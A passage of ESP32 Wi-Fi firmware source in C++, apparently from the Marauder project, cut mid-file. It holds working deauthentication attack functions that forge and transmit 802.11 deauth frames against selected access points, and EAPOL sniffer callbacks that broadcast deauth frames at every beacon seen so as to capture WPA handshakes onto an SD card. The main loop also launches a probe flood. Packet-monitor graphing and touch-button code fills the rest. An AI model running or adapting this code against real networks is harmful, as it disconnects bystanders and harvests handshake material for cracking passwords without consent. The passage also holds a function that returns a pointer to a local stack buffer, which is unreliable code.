  1992. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  1993. // Itterate through all access points in list
  1994. // Check if active
  1995. WiFiScan::set_channel = channel;
  1996. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1997. delay(1);
  1998. // Build packet
  1999. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2000. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2001. deauth_frame_default[10] = bssid[0];
  2002. deauth_frame_default[11] = bssid[1];
  2003. deauth_frame_default[12] = bssid[2];
  2004. deauth_frame_default[13] = bssid[3];
  2005. deauth_frame_default[14] = bssid[4];
  2006. deauth_frame_default[15] = bssid[5];
  2007. deauth_frame_default[16] = bssid[0];
  2008. deauth_frame_default[17] = bssid[1];
  2009. deauth_frame_default[18] = bssid[2];
  2010. deauth_frame_default[19] = bssid[3];
  2011. deauth_frame_default[20] = bssid[4];
  2012. deauth_frame_default[21] = bssid[5];
  2013. // Send packet
  2014. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2015. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2016. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2017. packets_sent = packets_sent + 3;
  2018. }
  2019. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2020. // Itterate through all access points in list
  2021. for (int i = 0; i < access_points->size(); i++) {
  2022. // Check if active
  2023. if (access_points->get(i).selected) {
  2024. this->set_channel = access_points->get(i).channel;
  2025. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2026. delay(1);
  2027. // Build packet
  2028. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2029. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2030. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2031. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2032. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2033. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2034. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2035. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2036. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2037. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2038. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2039. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2040. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2041. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2042. // Send packet
  2043. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2044. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2045. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2046. packets_sent = packets_sent + 3;
  2047. }
  2048. }
  2049. }
  2050. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2051. {
  2052. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2053. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2054. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2055. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2056. int len = snifferPacket->rx_ctrl.sig_len;
  2057. String display_string = "";
  2058. #ifdef HAS_SCREEN
  2059. int buff = display_obj.display_buffer->size();
  2060. #else
  2061. int buff = 0;
  2062. #endif
  2063. if (type == WIFI_PKT_MGMT)
  2064. {
  2065. len -= 4;
  2066. int fctl = ntohs(frameControl->fctl);
  2067. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2068. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2069. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2070. #ifndef MARAUDER_MINI
  2071. if (snifferPacket->payload[0] == 0x80)
  2072. {
  2073. num_beacon++;
  2074. }
  2075. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2076. {
  2077. num_deauth++;
  2078. }
  2079. else if (snifferPacket->payload[0] == 0x40)
  2080. {
  2081. num_probe++;
  2082. }
  2083. #endif
  2084. char addr[] = "00:00:00:00:00:00";
  2085. getMAC(addr, snifferPacket->payload, 10);
  2086. display_string.concat(addr);
  2087. int temp_len = display_string.length();
  2088. #ifdef HAS_SCREEN
  2089. for (int i = 0; i < 40 - temp_len; i++)
  2090. {
  2091. display_string.concat(" ");
  2092. }
  2093. //Serial.print(" ");
  2094. #ifdef MARAUDER_MINI
  2095. if (display_obj.display_buffer->size() == 0)
  2096. {
  2097. display_obj.loading = true;
  2098. display_obj.display_buffer->add(display_string);
  2099. display_obj.loading = false;
  2100. }
  2101. #endif
  2102. #endif
  2103. if (save_packet)
  2104. sd_obj.addPacket(snifferPacket->payload, len);
  2105. }
  2106. }
  2107. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2108. {
  2109. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2110. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2111. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2112. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2113. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2114. int len = snifferPacket->rx_ctrl.sig_len;
  2115. String display_string = "";
  2116. if (type == WIFI_PKT_MGMT)
  2117. {
  2118. len -= 4;
  2119. int fctl = ntohs(frameControl->fctl);
  2120. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2121. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2122. }
  2123. #ifdef HAS_SCREEN
  2124. int buff = display_obj.display_buffer->size();
  2125. #else
  2126. int buff = 0;
  2127. #endif
  2128. // Found beacon frame. Decide whether to deauth
  2129. if (send_deauth) {
  2130. if (snifferPacket->payload[0] == 0x80) {
  2131. // Build packet
  2132. uint8_t new_packet[26] = {
  2133. 0xc0, 0x00, 0x3a, 0x01,
  2134. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2135. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2136. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2137. 0xf0, 0xff, 0x02, 0x00
  2138. };
  2139. new_packet[10] = snifferPacket->payload[10];
  2140. new_packet[11] = snifferPacket->payload[11];
  2141. new_packet[12] = snifferPacket->payload[12];
  2142. new_packet[13] = snifferPacket->payload[13];
  2143. new_packet[14] = snifferPacket->payload[14];
  2144. new_packet[15] = snifferPacket->payload[15];
  2145. new_packet[16] = snifferPacket->payload[10];
  2146. new_packet[17] = snifferPacket->payload[11];
  2147. new_packet[18] = snifferPacket->payload[12];
  2148. new_packet[19] = snifferPacket->payload[13];
  2149. new_packet[20] = snifferPacket->payload[14];
  2150. new_packet[21] = snifferPacket->payload[15];
  2151. // Send packet
  2152. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2153. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2154. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2155. delay(1);
  2156. }
  2157. }
  2158. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2159. num_eapol++;
  2160. Serial.println("Received EAPOL:");
  2161. char addr[] = "00:00:00:00:00:00";
  2162. getMAC(addr, snifferPacket->payload, 10);
  2163. display_string.concat(addr);
  2164. int temp_len = display_string.length();
  2165. #ifdef HAS_SCREEN
  2166. for (int i = 0; i < 40 - temp_len; i++)
  2167. {
  2168. display_string.concat(" ");
  2169. }
  2170. Serial.print(" ");
  2171. #ifdef MARAUDER_MINI
  2172. if (display_obj.display_buffer->size() == 0)
  2173. {
  2174. display_obj.loading = true;
  2175. display_obj.display_buffer->add(display_string);
  2176. display_obj.loading = false;
  2177. }
  2178. #endif
  2179. #endif
  2180. // for (int i = 0; i < len; i++) {
  2181. // char hexCar[4];
  2182. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2183. // Serial.print(hexCar);
  2184. //Serial.print(snifferPacket->payload[i], HEX);
  2185. // if ((i + 1) % 16 == 0)
  2186. // Serial.print("\n");
  2187. // else
  2188. // Serial.print(" ");
  2189. // }
  2190. // Serial.print("\n");
  2191. }
  2192. if (save_packet)
  2193. sd_obj.addPacket(snifferPacket->payload, len);
  2194. }
  2195. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2196. {
  2197. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2198. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2199. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2200. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2201. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2202. int len = snifferPacket->rx_ctrl.sig_len;
  2203. if (type == WIFI_PKT_MGMT)
  2204. {
  2205. len -= 4;
  2206. int fctl = ntohs(frameControl->fctl);
  2207. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2208. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2209. }
  2210. // Found beacon frame. Decide whether to deauth
  2211. if (snifferPacket->payload[0] == 0x80) {
  2212. // Build packet
  2213. //Serial.println("Recieved beacon frame");
  2214. uint8_t new_packet[26] = {
  2215. 0xc0, 0x00, 0x3a, 0x01,
  2216. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2217. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2218. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2219. 0xf0, 0xff, 0x02, 0x00
  2220. };
  2221. new_packet[10] = snifferPacket->payload[10];
  2222. new_packet[11] = snifferPacket->payload[11];
  2223. new_packet[12] = snifferPacket->payload[12];
  2224. new_packet[13] = snifferPacket->payload[13];
  2225. new_packet[14] = snifferPacket->payload[14];
  2226. new_packet[15] = snifferPacket->payload[15];
  2227. new_packet[16] = snifferPacket->payload[10];
  2228. new_packet[17] = snifferPacket->payload[11];
  2229. new_packet[18] = snifferPacket->payload[12];
  2230. new_packet[19] = snifferPacket->payload[13];
  2231. new_packet[20] = snifferPacket->payload[14];
  2232. new_packet[21] = snifferPacket->payload[15];
  2233. // Send packet
  2234. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2235. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2236. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2237. delay(1);
  2238. }
  2239. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2240. num_eapol++;
  2241. Serial.println("Received EAPOL:");
  2242. // for (int i = 0; i < len; i++) {
  2243. // char hexCar[3];
  2244. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2245. // Serial.print(hexCar);
  2246. //Serial.print(snifferPacket->payload[i], HEX);
  2247. // if ((i + 1) % 16 == 0)
  2248. // Serial.print("\n");
  2249. // else
  2250. // Serial.print(" ");
  2251. // }
  2252. // Serial.print("\n");
  2253. }
  2254. if (save_packet)
  2255. sd_obj.addPacket(snifferPacket->payload, len);
  2256. }
  2257. #ifdef HAS_SCREEN
  2258. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2259. {
  2260. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2261. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2262. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2263. {
  2264. currentTime = millis();
  2265. do_break = false;
  2266. y_pos_x = 0;
  2267. y_pos_y = 0;
  2268. y_pos_z = 0;
  2269. boolean pressed = false;
  2270. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2271. // Do the touch stuff
  2272. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2273. if (pressed) {
  2274. Serial.print("Got touch | X: ");
  2275. Serial.print(t_x);
  2276. Serial.print(" Y: ");
  2277. Serial.println(t_y);
  2278. }
  2279. // Check buttons for presses
  2280. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2281. {
  2282. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2283. {
  2284. display_obj.key[b].press(true);
  2285. } else {
  2286. display_obj.key[b].press(false);
  2287. }
  2288. }
  2289. // Which buttons pressed
  2290. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2291. {
  2292. if (display_obj.key[b].justPressed())
  2293. {
  2294. Serial.println("Bro, key pressed");
  2295. //do_break = true;
  2296. }
  2297. if (display_obj.key[b].justReleased())
  2298. {
  2299. do_break = true;
  2300. // Channel - button pressed
  2301. if (b == 4) {
  2302. if (set_channel > 1) {
  2303. Serial.println("Shit channel down");
  2304. set_channel--;
  2305. delay(70);
  2306. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2307. //display_obj.tftDrawXScaleButtons(x_scale);
  2308. //display_obj.tftDrawYScaleButtons(y_scale);
  2309. display_obj.tftDrawChannelScaleButtons(set_channel);
  2310. display_obj.tftDrawExitScaleButtons();
  2311. changeChannel();
  2312. break;
  2313. }
  2314. }
  2315. // Channel + button pressed
  2316. else if (b == 5) {
  2317. if (set_channel < MAX_CHANNEL) {
  2318. Serial.println("Shit channel up");
  2319. set_channel++;
  2320. delay(70);
  2321. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2322. //display_obj.tftDrawXScaleButtons(x_scale);
  2323. //display_obj.tftDrawYScaleButtons(y_scale);
  2324. display_obj.tftDrawChannelScaleButtons(set_channel);
  2325. display_obj.tftDrawExitScaleButtons();
  2326. changeChannel();
  2327. break;
  2328. }
  2329. }
  2330. else if (b == 6) {
  2331. Serial.println("Exiting packet monitor...");
  2332. this->StartScan(WIFI_SCAN_OFF);
  2333. //display_obj.tft.init();
  2334. this->orient_display = true;
  2335. return;
  2336. }
  2337. }
  2338. }
  2339. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2340. //Serial.println("-----------------------------------------");
  2341. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2342. x_pos += x_scale;
  2343. initTime = millis();
  2344. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2345. if (y_pos_x >= HEIGHT_1) {
  2346. Serial.println("Max EAPOL number reached. Adjusting...");
  2347. num_eapol = 0;
  2348. }
  2349. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2350. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2351. //Serial.println("num_beacon: " + (String)num_beacon);
  2352. //Serial.println("num_deauth: " + (String)num_deauth);
  2353. //Serial.println(" num_probe: " + (String)num_probe);
  2354. //num_beacon = 0;
  2355. //num_probe = 0;
  2356. //num_deauth = 0;
  2357. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2358. //Plot "X" value
  2359. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2360. //Plot "Z" value
  2361. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2362. //Plot "Y" value
  2363. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2364. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2365. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2366. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2367. {
  2368. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2369. }
  2370. else
  2371. {
  2372. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2373. }
  2374. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2375. //if (x_pos <= 90)
  2376. if (x_pos < 0) // below x axis
  2377. {
  2378. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2379. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2380. }
  2381. else
  2382. {
  2383. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2384. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2385. }
  2386. //tftDisplayTime();
  2387. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2388. {
  2389. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2390. }
  2391. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2392. //y_pos_y_old = y_pos_y;
  2393. //y_pos_z_old = y_pos_z;
  2394. //delay(50);
  2395. }
  2396. sd_obj.main();
  2397. }
  2398. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2399. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2400. display_obj.tftDrawChannelScaleButtons(set_channel);
  2401. display_obj.tftDrawExitScaleButtons();
  2402. display_obj.tftDrawEapolColorKey();
  2403. display_obj.tftDrawGraphObjects(x_scale);
  2404. }
  2405. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2406. {
  2407. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2408. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2409. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2410. {
  2411. currentTime = millis();
  2412. do_break = false;
  2413. y_pos_x = 0;
  2414. y_pos_y = 0;
  2415. y_pos_z = 0;
  2416. boolean pressed = false;
  2417. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2418. // Do the touch stuff
  2419. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2420. if (pressed) {
  2421. Serial.print("Got touch | X: ");
  2422. Serial.print(t_x);
  2423. Serial.print(" Y: ");
  2424. Serial.println(t_y);
  2425. }
  2426. // Check buttons for presses
  2427. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2428. {
  2429. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2430. {
  2431. display_obj.key[b].press(true);
  2432. } else {
  2433. display_obj.key[b].press(false);
  2434. }
  2435. }
  2436. // Which buttons pressed
  2437. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2438. {
  2439. if (display_obj.key[b].justPressed())
  2440. {
  2441. Serial.println("Bro, key pressed");
  2442. //do_break = true;
  2443. }
  2444. if (display_obj.key[b].justReleased())
  2445. {
  2446. do_break = true;
  2447. // X - button pressed
  2448. if (b == 0) {
  2449. if (x_scale > 1) {
  2450. x_scale--;
  2451. delay(70);
  2452. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2453. display_obj.tftDrawXScaleButtons(x_scale);
  2454. display_obj.tftDrawYScaleButtons(y_scale);
  2455. display_obj.tftDrawChannelScaleButtons(set_channel);
  2456. display_obj.tftDrawExitScaleButtons();
  2457. break;
  2458. }
  2459. }
  2460. // X + button pressed
  2461. else if (b == 1) {
  2462. if (x_scale < 6) {
  2463. x_scale++;
  2464. delay(70);
  2465. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2466. display_obj.tftDrawXScaleButtons(x_scale);
  2467. display_obj.tftDrawYScaleButtons(y_scale);
  2468. display_obj.tftDrawChannelScaleButtons(set_channel);
  2469. display_obj.tftDrawExitScaleButtons();
  2470. break;
  2471. }
  2472. }
  2473. // Y - button pressed
  2474. else if (b == 2) {
  2475. if (y_scale > 1) {
  2476. y_scale--;
  2477. delay(70);
  2478. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2479. display_obj.tftDrawXScaleButtons(x_scale);
  2480. display_obj.tftDrawYScaleButtons(y_scale);
  2481. display_obj.tftDrawChannelScaleButtons(set_channel);
  2482. display_obj.tftDrawExitScaleButtons();
  2483. //updateMidway();
  2484. break;
  2485. }
  2486. }
  2487. // Y + button pressed
  2488. else if (b == 3) {
  2489. if (y_scale < 9) {
  2490. y_scale++;
  2491. delay(70);
  2492. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2493. display_obj.tftDrawXScaleButtons(x_scale);
  2494. display_obj.tftDrawYScaleButtons(y_scale);
  2495. display_obj.tftDrawChannelScaleButtons(set_channel);
  2496. display_obj.tftDrawExitScaleButtons();
  2497. //updateMidway();
  2498. break;
  2499. }
  2500. }
  2501. // Channel - button pressed
  2502. else if (b == 4) {
  2503. if (set_channel > 1) {
  2504. Serial.println("Shit channel down");
  2505. set_channel--;
  2506. delay(70);
  2507. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2508. display_obj.tftDrawXScaleButtons(x_scale);
  2509. display_obj.tftDrawYScaleButtons(y_scale);
  2510. display_obj.tftDrawChannelScaleButtons(set_channel);
  2511. display_obj.tftDrawExitScaleButtons();
  2512. changeChannel();
  2513. break;
  2514. }
  2515. }
  2516. // Channel + button pressed
  2517. else if (b == 5) {
  2518. if (set_channel < MAX_CHANNEL) {
  2519. Serial.println("Shit channel up");
  2520. set_channel++;
  2521. delay(70);
  2522. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2523. display_obj.tftDrawXScaleButtons(x_scale);
  2524. display_obj.tftDrawYScaleButtons(y_scale);
  2525. display_obj.tftDrawChannelScaleButtons(set_channel);
  2526. display_obj.tftDrawExitScaleButtons();
  2527. changeChannel();
  2528. break;
  2529. }
  2530. }
  2531. else if (b == 6) {
  2532. Serial.println("Exiting packet monitor...");
  2533. this->StartScan(WIFI_SCAN_OFF);
  2534. //display_obj.tft.init();
  2535. this->orient_display = true;
  2536. return;
  2537. }
  2538. }
  2539. }
  2540. if (currentTime - initTime >= GRAPH_REFRESH) {
  2541. //Serial.println("-----------------------------------------");
  2542. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2543. x_pos += x_scale;
  2544. initTime = millis();
  2545. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2546. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2547. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2548. //Serial.println("num_beacon: " + (String)num_beacon);
  2549. //Serial.println("num_deauth: " + (String)num_deauth);
  2550. //Serial.println(" num_probe: " + (String)num_probe);
  2551. num_beacon = 0;
  2552. num_probe = 0;
  2553. num_deauth = 0;
  2554. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2555. //Plot "X" value
  2556. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2557. //Plot "Z" value
  2558. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2559. //Plot "Y" value
  2560. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2561. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2562. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2563. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2564. {
  2565. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2566. }
  2567. else
  2568. {
  2569. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2570. }
  2571. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2572. //if (x_pos <= 90)
  2573. if (x_pos < 0) // below x axis
  2574. {
  2575. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2576. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2577. }
  2578. else
  2579. {
  2580. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2581. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2582. }
  2583. //tftDisplayTime();
  2584. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2585. {
  2586. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2587. }
  2588. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2589. y_pos_y_old = y_pos_y;
  2590. y_pos_z_old = y_pos_z;
  2591. //delay(50);
  2592. }
  2593. sd_obj.main();
  2594. }
  2595. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2596. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2597. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2598. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2599. display_obj.tftDrawYScaleButtons(y_scale);
  2600. display_obj.tftDrawChannelScaleButtons(set_channel);
  2601. display_obj.tftDrawExitScaleButtons();
  2602. display_obj.tftDrawColorKey();
  2603. display_obj.tftDrawGraphObjects(x_scale);
  2604. }
  2605. #endif
  2606. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2607. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2608. // showMetadata(snifferPacket, type);
  2609. //}
  2610. void WiFiScan::changeChannel(int chan) {
  2611. this->set_channel = chan;
  2612. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2613. delay(1);
  2614. }
  2615. void WiFiScan::changeChannel()
  2616. {
  2617. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2618. delay(1);
  2619. }
  2620. // Function to cycle to the next channel
  2621. void WiFiScan::channelHop()
  2622. {
  2623. this->set_channel = this->set_channel + 1;
  2624. if (this->set_channel > 13) {
  2625. this->set_channel = 1;
  2626. }
  2627. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2628. delay(1);
  2629. }
  2630. char* WiFiScan::stringToChar(String string) {
  2631. char buf[string.length() + 1] = {};
  2632. string.toCharArray(buf, string.length() + 1);
  2633. return buf;
  2634. }
  2635. // Function for updating scan status
  2636. void WiFiScan::main(uint32_t currentTime)
  2637. {
  2638. // WiFi operations
  2639. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2640. (currentScanMode == WIFI_SCAN_AP) ||
  2641. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2642. (currentScanMode == WIFI_SCAN_PWN) ||
  2643. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2644. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2645. (currentScanMode == WIFI_SCAN_ALL))
  2646. {
  2647. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2648. {
  2649. initTime = millis();
  2650. channelHop();
  2651. }
  2652. }
  2653. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2654. {
  2655. #ifdef HAS_SCREEN
  2656. #ifndef MARAUDER_MINI
  2657. packetMonitorMain(currentTime);
  2658. #endif
  2659. #endif
  2660. }
  2661. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2662. {
  2663. #ifdef HAS_SCREEN
  2664. #ifndef MARAUDER_MINI
  2665. eapolMonitorMain(currentTime);
  2666. #endif
  2667. #endif
  2668. }
  2669. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2670. {
  2671. #ifdef HAS_SCREEN
  2672. eapolMonitorMain(currentTime);
  2673. #endif
  2674. }
  2675. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2676. for (int i = 0; i < 55; i++)
  2677. this->sendProbeAttack(currentTime);
  2678. if (currentTime - initTime >= 1000) {
  2679. initTime = millis();
  2680. String displayString = "";
